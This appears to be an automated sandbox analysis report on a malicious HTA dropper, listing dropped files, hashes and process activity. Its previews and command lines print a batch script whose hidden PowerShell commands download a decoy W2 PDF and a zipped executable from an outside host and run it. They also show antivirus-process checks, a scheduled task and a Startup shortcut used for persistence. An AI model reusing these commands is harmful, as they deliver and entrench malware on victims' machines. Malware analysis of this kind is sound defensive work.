                                SHA1:394657C478086158830BE943C09630488BE56366
                                SHA-256:B9C27330ED8EAE02A918901435A2D1F98EE20CB2390D9F69FC45A043F2009A5B
                                SHA-512:C20357671E243AAD4A68251A6C49EC9BD69FBFBEF104BD73CA6903003D558159C2B5417924CC6228FBB5A8750FE3F24246C8A7686A823E27E7DB80EAE351023A
                                Malicious:true
                                Preview:PK...........Y'4....5...@.....msword.exe..|..?>.#..6...F........K\...!*.....%@-..J-.f.[.I'k..UD.....-m.W{..+b....6...b.H...u.......9....{...z......d...y...g...7.6A..H.!.....+.....F]..Q.K#.4...O.o..^S.j.w.....)..7...r.w..V.-....[.%.......f...w.......s..\.;uf!/.>.7.....#...v.{.....oI./.S.'..,....o...V.HK. .x..%.s.....B.H-.f.*.9...._.o..9../A.7..R......... ..)......+x/MM@f.Cxr....o#.m.....w...=.Z0......`.i.W|S.. .[&.k........4...l...&p....S..i.f.....:....5P..kV..y.'.A...W_n.yW..hxPD......_m7W....W...>.o.Z...2...}.J.Z]...^.x..U....2...8..G6y....A.....P...6.x.FT.w.......3.D.^.R.J.....aJ.[.W.a....\.g.....24.K|..........+.C..~fkG..Gq.6.v#..& ..s...G..0...h..QT..T_...h&DN..i@d(..~.....L|.^.0.....]...F...B.X....QK..w...;}...(....vQ.(.m#.K.....qP*A....\..1...3:Q.....s(_...v....A_Pjo..>.w..W....6.c`.U..#........]S..}.n..WZ.A.1.n.m..........v.%I.@.K.....7.....ZqU.u1.X..eKw.i.kj....O...w.P+.I..............;.<.w.V..)....6...b....Z.....V....E..L.h..6.78

                                C:\Users\user\AppData\Local\Temp\msword\msword.exe

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                Category:dropped
                                Size (bytes):524295939
                                Entropy (8bit):4.230594067417474
                                Encrypted:false
                                SSDEEP:
                                MD5:6BCF42715FD1768FE1013C702612D0EE
                                SHA1:D7AFFE603F5D7BBCA046AA4AB26BFA458C30C348
                                SHA-256:71A2295583DB11053AC6D0A6770199352BC2F549212548D362E56258EE1CDD50
                                SHA-512:E749B377C6B19BF8FC42C06FEF9A81024E66B190439260F7A7474EEED8A78E2FA2EA56614ACEB37110AC4ABA2772FDB144965CF99E091EFB39D444DAA2DA839F
                                Malicious:true
                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@..........................p......r.....@.................................@...........BU............@......`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc...BU.......V..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................

                                C:\Users\user\AppData\Local\Temp\temp.bat

                                Download File
                                Process:C:\Windows\SysWOW64\mshta.exe
                                File Type:DOS batch file, ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):498
                                Entropy (8bit):5.198499125177484
                                Encrypted:false
                                SSDEEP:12:wmDU081kkGrAOtD0OO081kkGVX5OQ981kvYX53RP:wmD7RrAO90OxRxUkvYX53RP
                                MD5:E8DFDB915A523A09E139AAA900991DDD
                                SHA1:D23F4798C549BFB7DDD968C4C2A971F67468A662
                                SHA-256:91619737B3F7AF4623DC62B4F3DF7B551337EC94F693A3B9BA35BB231483393E
                                SHA-512:B4E737D1C80420688BF856DF02A580B691D120307B7D31EA4766448CCD0C6EEC7B2C48424691E92DFFBA58CA8C9A8DF989F5B683D9363CAC37D3DD3E5AD1623E
                                Malicious:true
                                Preview:@echo off..set url=https://myguyapp.com/msword.zip..set url2=https://myguyapp.com/W2.pdf..powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url2% -OutFile %USERPROFILE%\Downloads\W2.pdf"..cd %USERPROFILE%\Downloads..start W2.pdf..powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri %url% -OutFile %temp%\msword.zip"..powershell -WindowStyle Hidden -Command "Expand-Archive -Path %temp%\msword.zip -DestinationPath %temp%\msword -Force"..cd %temp%\msword..start msword.exe

                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):98682
                                Entropy (8bit):6.445287254681573
                                Encrypted:false
                                SSDEEP:1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
                                MD5:7113425405A05E110DC458BBF93F608A
                                SHA1:88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
                                SHA-256:7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
                                SHA-512:6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
                                Malicious:false
                                Preview:0...u0...\...0...*.H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...*B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

                                C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

                                Download File
                                Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                File Type:data
                                Category:dropped
                                Size (bytes):737
                                Entropy (8bit):7.501268097735403
                                Encrypted:false
                                SSDEEP:12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
                                MD5:5274D23C3AB7C3D5A4F3F86D4249A545
                                SHA1:8A3778F5083169B281B610F2036E79AEA3020192
                                SHA-256:8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
                                SHA-512:FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
                                Malicious:false
                                Preview:0...0.....0...*.H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0...*.H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R*.......~....)....i.*n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

                                C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url

                                Download File
                                Process:C:\Windows\SysWOW64\cmd.exe
                                File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >), ASCII text, with CRLF line terminators
                                Category:dropped
                                Size (bytes):102
                                Entropy (8bit):4.8715641605102
                                Encrypted:false
                                SSDEEP:3:HRAbABGQaFyw3pYot+kiE2J5okZYaLi2eOL9PWHq:HRYF5yjowkn23oqLXL9Iq
                                MD5:60C30A29A25A4ABF2D3F0FE098E005C2
                                SHA1:B7D90B28A3E9C6CBF8979CA6228483EDDE684442
                                SHA-256:F698194EBBDD6A82ED230814561DAD191190D5210815C774BCC14A45116970B0
                                SHA-512:840766C69BDAF51AB7E72ED8D03C5D381A653310EC32505CD7FD1D8C29B3FC3F3D7641D66C792D6174B0F5AD93717930ADD855DFA863D221FB04090EA7EA09EE
                                Malicious:true
                                Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" ..

                                C:\Users\user\Downloads\W2.pdf

                                Download File
                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                File Type:PDF document, version 1.4, 1 pages
                                Category:dropped
                                Size (bytes):393964
                                Entropy (8bit):7.894863553506209
                                Encrypted:false
                                SSDEEP:6144:fz/0MaxA4h4379ErMr1NPe8ThAvXG4e5c8m1TCso1/kWS7uu:fz/0MaqxKy1NkvXG4MpmNokF
                                MD5:57F09EA46C7039EA45BB3FD01BBD8C80
                                SHA1:1365FF5E6E6EFC3E501D350711672F6A232AA9F8
                                SHA-256:3850E8022E3990B709DA7CDDBFD3F830EB86F34AF89D5939E2999C1E7DE9766F
                                SHA-512:6DE0ACD9D03BDE584A7B2C2C7781530BA7504622B518523993311AD6174D2A9890E9D230A2A3A51D76615111A9F62259A9615378440690F20708B201B19A17F8
                                Malicious:true
                                Preview:%PDF-1.4.%......4 0 obj.<</Linearized 1/L 393964/O 6/E 362617/N 1/T 393770/H [ 1316 238]>>.endobj. .xref..4 51..0000000016 00000 n..0000001554 00000 n..0000001614 00000 n..0000002242 00000 n..0000002407 00000 n..0000002915 00000 n..0000003346 00000 n..0000003757 00000 n..0000003803 00000 n..0000005034 00000 n..0000006941 00000 n..0000008869 00000 n..0000010482 00000 n..0000011608 00000 n..0000012618 00000 n..0000012731 00000 n..0000013728 00000 n..0000014512 00000 n..0000014563 00000 n..0000014676 00000 n..0000014801 00000 n..0000029764 00000 n..0000030031 00000 n..0000058294 00000 n..0000058547 00000 n..0000085116 00000 n..0000085374 00000 n..0000094559 00000 n..0000094824 00000 n..0000094951 00000 n..0000095014 00000 n..0000095044 00000 n..0000095120 00000 n..0000113594 00000 n..0000113891 00000 n..0000113954 00000 n..0000114069 00000 n..0000132543 00000 n..0000191838 00000 n..0000192135 00000 n..0000192913 00000 n..0000193209 00000 n..0000196912 00000 n..0000197906 0

                                \Device\Null

                                Download File
                                Process:C:\Windows\SysWOW64\timeout.exe
                                File Type:ASCII text, with CRLF line terminators, with overstriking
                                Category:dropped
                                Size (bytes):95
                                Entropy (8bit):4.176025638229203
                                Encrypted:false
                                SSDEEP:3:hYFEHgAR+mQRKVxLZtFctFst3g4t32vov:hYFEmaNZM3MXt3X
                                MD5:74D8C80188CB3C2AFD82E1821813B1CB
                                SHA1:EEB1D7DC1821B7841EE50BC53AFF890544ECFBDA
                                SHA-256:970057AABB3408E53F34A42FEF79D515688F7C1BBEA0567C1BF9B477B53F3AC2
                                SHA-512:677341DE20037DD57D34587520DF436CFE3DFB09824AC4926F0BAC3B428B3FACB2007CADC74254879736195E4573D44AB88DE80E52D1A559C7096E7F9587A5BE
                                Malicious:false
                                Preview:..Waiting for 10 seconds, press a key to continue ..... 9.. 8.. 7.. 6.. 5.. 4.. 3.. 2.. 1.. 0..

                                Static File Info

                                General

                                File type:HTML document, ASCII text, with CRLF line terminators
                                Entropy (8bit):4.564973670021895
                                TrID:
                                • HyperText Markup Language (12001/1) 40.67%
                                • HyperText Markup Language (11501/1) 38.98%
                                • HyperText Markup Language (6006/1) 20.35%
                                File name:c2.hta
                                File size:3'411 bytes
                                MD5:ece58ed90bef5251133c688f6afe915f
                                SHA1:0b56d72ecb891950f8b4e8bf7288aee0ac102101
                                SHA256:bbe818541c34a4def85455fa7a1392d2ded1e76ca6d89f08125a13d09ea4b93a
                                SHA512:6bfc48dcfe02152939914c90677854a3292e83beea95573d427d31f76e4deba29e867e9c18719442c1dac19013b5da885f906c78f33a9d4c0d244287927032ad
                                SSDEEP:48:uOZ+wfT1tHcmhdT1hnLU5Lo1fWKGcBF50H3/CO:uAr1JhV1hL6/LAQH3
                                TLSH:A661C01FDE939F628932CA23086BA80DDD9DC50F15508489750CCC4A7F7537CA8D06FA
                                File Content Preview:<html>..<head>.. <title></title>.. <HTA:APPLICATION.. ID="downloadBatApp".. APPLICATIONNAME="BAT Downloader".. WINDOWSTATE="minimize".. BORDER="thin".. SCROLL="no".. SINGLEINSTANCE="yes"...SHOWINTASKBAR="no"

                                Network Behavior

                                ⊘No network behavior found

                                Statistics

                                CPU Usage

                                Click to jump to process

                                Memory Usage

                                Click to jump to process

                                High Level Behavior Distribution

                                Click to dive into process behavior distribution

                                Behavior

                                Click to jump to process

                                System Behavior

                                General

                                Target ID:0
                                Start time:21:02:53
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\mshta.exe
                                Wow64 process (32bit):true
                                Commandline:mshta.exe "C:\Users\user\Desktop\c2.hta"
                                Imagebase:0xf80000
                                File size:13'312 bytes
                                MD5 hash:06B02D5C097C7DB1F109749C45F3F505
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:moderate
                                Has exited:true

                                General

                                Target ID:2
                                Start time:21:02:55
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat"
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:3
                                Start time:21:02:55
                                Start date:04/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:4
                                Start time:21:02:55
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf"
                                Imagebase:0x330000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:5
                                Start time:21:02:58
                                Start date:04/01/2025
                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf"
                                Imagebase:0x7ff6bc1b0000
                                File size:5'641'176 bytes
                                MD5 hash:24EAD1C46A47022347DC0F05F6EFBB8C
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:false

                                General

                                Target ID:6
                                Start time:21:02:58
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip"
                                Imagebase:0x330000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:7
                                Start time:21:02:59
                                Start date:04/01/2025
                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
                                Imagebase:0x7ff74bb60000
                                File size:3'581'912 bytes
                                MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:false

                                General

                                Target ID:8
                                Start time:21:03:00
                                Start date:04/01/2025
                                Path:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1275163291349414999,11919698709782413432,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
                                Imagebase:0x7ff74bb60000
                                File size:3'581'912 bytes
                                MD5 hash:9B38E8E8B6DD9622D24B53E095C5D9BE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:false

                                General

                                Target ID:12
                                Start time:21:03:12
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):true
                                Commandline:powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force"
                                Imagebase:0x330000
                                File size:433'152 bytes
                                MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:15
                                Start time:21:03:29
                                Start date:04/01/2025
                                Path:C:\Users\user\AppData\Local\Temp\msword\msword.exe
                                Wow64 process (32bit):true
                                Commandline:msword.exe
                                Imagebase:0x400000
                                File size:524'295'939 bytes
                                MD5 hash:6BCF42715FD1768FE1013C702612D0EE
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:16
                                Start time:21:03:29
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\cleanup.bat"
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:17
                                Start time:21:03:29
                                Start date:04/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:18
                                Start time:21:03:29
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\timeout.exe
                                Wow64 process (32bit):true
                                Commandline:timeout /t 10
                                Imagebase:0x430000
                                File size:25'088 bytes
                                MD5 hash:976566BEEFCCA4A159ECBDB2D4B1A3E3
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:19
                                Start time:21:03:30
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:"C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:20
                                Start time:21:03:30
                                Start date:04/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:21
                                Start time:21:03:32
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist
                                Imagebase:0xc0000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:22
                                Start time:21:03:32
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\findstr.exe
                                Wow64 process (32bit):true
                                Commandline:findstr /I "wrsa opssvc"
                                Imagebase:0x3c0000
                                File size:29'696 bytes
                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:23
                                Start time:21:03:33
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\tasklist.exe
                                Wow64 process (32bit):true
                                Commandline:tasklist
                                Imagebase:0xc0000
                                File size:79'360 bytes
                                MD5 hash:0A4448B31CE7F83CB7691A2657F330F1
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:24
                                Start time:21:03:33
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\findstr.exe
                                Wow64 process (32bit):true
                                Commandline:findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                                Imagebase:0x3c0000
                                File size:29'696 bytes
                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:25
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:cmd /c md 677826
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:26
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\findstr.exe
                                Wow64 process (32bit):true
                                Commandline:findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings
                                Imagebase:0x3c0000
                                File size:29'696 bytes
                                MD5 hash:F1D4BE0E99EC734376FDE474A8D4EA3E
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:27
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:28
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Users\user\AppData\Local\Temp\677826\Prostores.com
                                Wow64 process (32bit):true
                                Commandline:Prostores.com N
                                Imagebase:0x270000
                                File size:947'288 bytes
                                MD5 hash:62D09F076E6E0240548C2F837536A46A
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 0%, ReversingLabs
                                Has exited:false

                                General

                                Target ID:29
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\choice.exe
                                Wow64 process (32bit):true
                                Commandline:choice /d y /t 5
                                Imagebase:0xde0000
                                File size:28'160 bytes
                                MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:30
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:31
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:32
                                Start time:21:03:34
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\schtasks.exe
                                Wow64 process (32bit):true
                                Commandline:schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
                                Imagebase:0xad0000
                                File size:187'904 bytes
                                MD5 hash:48C2FE20575769DE916F48EF0676A965
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:33
                                Start time:21:03:35
                                Start date:04/01/2025
                                Path:C:\Windows\SysWOW64\cmd.exe
                                Wow64 process (32bit):true
                                Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & echo URL="C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & exit
                                Imagebase:0x240000
                                File size:236'544 bytes
                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:34
                                Start time:21:03:35
                                Start date:04/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:35
                                Start time:21:03:35
                                Start date:04/01/2025
                                Path:C:\Windows\System32\wscript.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js"
                                Imagebase:0x7ff740610000
                                File size:170'496 bytes
                                MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Has exited:true

                                General

                                Target ID:36
                                Start time:21:03:35
                                Start date:04/01/2025
                                Path:C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr
                                Wow64 process (32bit):true
                                Commandline:"C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
                                Imagebase:0xb30000
                                File size:947'288 bytes
                                MD5 hash:62D09F076E6E0240548C2F837536A46A
                                Has elevated privileges:false
                                Has administrator privileges:false
                                Programmed in:C, C++ or other language
                                Antivirus matches:
                                • Detection: 0%, ReversingLabs
                                Has exited:true

                                General

                                Target ID:37
                                Start time:21:03:49
                                Start date:04/01/2025
                                Path:C:\Windows\System32\wscript.exe
                                Wow64 process (32bit):false
